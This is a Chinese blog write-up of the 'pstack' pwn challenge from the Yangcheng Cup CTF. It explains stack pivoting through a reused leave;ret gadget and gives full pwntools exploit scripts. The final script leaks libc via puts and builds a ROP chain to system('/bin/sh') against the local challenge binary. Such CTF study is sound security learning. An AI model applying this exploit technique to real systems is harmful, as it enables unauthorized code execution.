首页 > 其他分享 >羊城杯比赛pwn复现

羊城杯比赛pwn复现

时间:2024-09-09 21:25:52浏览次数:12  
标签:p64 puts libc bss read 羊城 复现 pwn payload


title: 羊城杯比赛pwn复现
date: 2024-09-05 20:12:19
categories: ctf-比赛复现

首先推荐这个博客

本篇学习的思路来自这个大佬

实力有限,只复现出了pstack这一题

pstack

在这里插入图片描述
在这里插入图片描述

知识点

这个题目是个很经典的栈迁移的题目,因为栈溢出的空间不够,但是常规的栈迁移一般有方法获得一个地址来进行leave_ret

这个题目有个很妙的点
在这里插入图片描述

这里call 完read后面有一个leave_ret(平时没注意过)

本题的核心就在于对这里进行反复利用

题解

在这里插入图片描述

由于leave_ret这
个指令

两次这样就可以控制rbp 和rsp

这里重点讲下调用vuln_read这个函数后面的过程

这里我们动态调试

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
gdb.attach(p)
pause()
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
p.send(payload)
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
pause()
p.sendline(payload)
p.interactive()

第二个payload是我cyclic 64生成的垃圾数据,主要看函数执行的地址到哪

在这里插入图片描述

这里可以看到这个还是在0x30后面进行的溢出地址

下面接着调试

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)

gdb.attach(p)
pause()

p.sendafter(b'overflow?',payload)



#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))

libc_base=leak_addr

read=leak_addr+libc.sym['write']
print(hex(read))

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload=b'aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg'

pause()
p.send(payload)

p.interactive()    

在这里插入图片描述

可以看到在rbpgggggggg卡住了

所以

在这里leave_ret

exp 如下

from pwn import *
from LibcSearcher import *
context(log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

bss=elf.bss()+0x500
leave_ret=0x4006db
read=0x4006C4
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x400506
print(hex(bss))
#第一次栈迁移获得更多的空间
payload=b'a'*0x30+p64(bss+0x30)+p64(read)

gdb.attach(p)
pause()

p.sendafter(b'overflow?',payload)



#第二次的栈迁移,泄露地址
payload=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(pop_rbp)
payload+=p64(bss+0x200+0x30)
payload+=p64(read)
payload+=p64(bss-0x8)
payload+=p64(leave_ret)
pause()
p.send(payload)
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))-libc.symbols['puts']
print(hex(leak_addr))

libc_base=leak_addr

read=leak_addr+libc.sym['write']
print(hex(read))

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload=(p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)).ljust(0x30,b'\x00')
payload+=p64(bss+0x200-0x8)+p64(leave_ret)
pause()
p.send(payload)

p.interactive()

标签:p64,puts,libc,bss,read,羊城,复现,pwn,payload
From: https://blog.csdn.net/yufeiyu66/article/details/141962401

相关文章

  • kali下PWN环境配置
    0x01kali换源如果你熟悉使用vim的话,你可以直接使用sudovim/etc/apt/sources.list如果不熟悉vim可以先安装一个gedit:sudoaptinstallgeditgedit只是个编辑器而已,ubuntu下默认安装,kali下默认安装的是mousepad,所以可以用以下命令换源:sudomousepad/etc/apt/sourc......
  • 助力汽车零部件产业发展,2025 第十二届广州国际汽车零部件加工技术及汽车模具展览会与
    助力汽车零部件产业发展,2025第十二届广州国际汽车零部件加工技术及汽车模具展览会与您相约“羊城”广州汽车零部件是支撑汽车工业持续健康发展的必要因素,为汽车的正常运行和安全性能提供了保障。近年来,中国汽车零部件行业受到各级政府的高度重视和国家产业政策的重点支持。......
  • 2024年“羊城杯”粤港澳大湾区网络安全大赛Misc 部分解析
    2024年“羊城杯”粤港澳大湾区网络安全大赛Misc部分解析前言:Misc-不一样的数据库_2:Misc-hiden:Misc-miaoro:Misc-so_much:前言:本次解析是后期复现当时没时间打用于交流学习,感谢支持!![X]......
  • ConFuzzius复现过程
    模糊测试:ConFuzzius:Adatadependency-awarehybridfuzzerforEthereumsmartcontracts1.安装系统依赖1.1更新系统包首先,更新系统包管理器的索引:输入指令:sudoapt-getupdate安装Python3.8Ubuntu18.04默认没有Python3.8,需要手动添加存储库并安装:sudoadd-ap......
  • 「漏洞复现」全程云OA AttachFile/UploadFile 任意文件上传漏洞
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......
  • 结合Transformer的YOLOv8多模态 融合可见光+红外光(RGB+IR)双输入 完美复现论文【附代
    文章目录前言视频效果代码获取文章概述必要环境一、模型训练1、定义数据1.1、数据集结构1.2、定义data.yaml2、运行方法运行效果二、模型验证运行方法运行效果三、模型推理1.参数定义2.运行方法运行效果四、效果展示白天夜间总结前言这期博客是在上期博......
  • sekaiCTF-2024-pwn-nolibc解析
    sekaiCTF2024nolibc程序逆向IDA反编译之后:全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。我们linux上运行程序可以确定,至少sub_1322("WelcometoStringStorage!");这样的函数实现的功能就是类似于printf。逆向函数:__int64__......
  • 众诚网上订单系统 o_sa_order.ashx SQL注入漏洞复现
    1产品简介众诚网上订单系统通过集成互联网技术和先进的管理思想,为生产制造企业、多分销渠道的批零兼营、各类商贸批发业务提供了一站式的订单管理解决方案。该系统支持电脑PC、平板、手机APP同步操作,实现了订单、商品、客户、资金、信息、支付、物流和电子商务的全方位连接,......
  • 用友U8 Cloud MultiRepChooseAction SQL注入漏洞复现
    0x01产品简介用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。0x02漏洞概述用友U8CloudMultiRepChooseAction 接口处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后......
  • 用友U8 Cloud AddTaskDataRightAction SQL注入漏洞复现
    0x01产品简介用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。0x02漏洞概述用友U8 CloudAddTaskDataRightAction 接口处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员......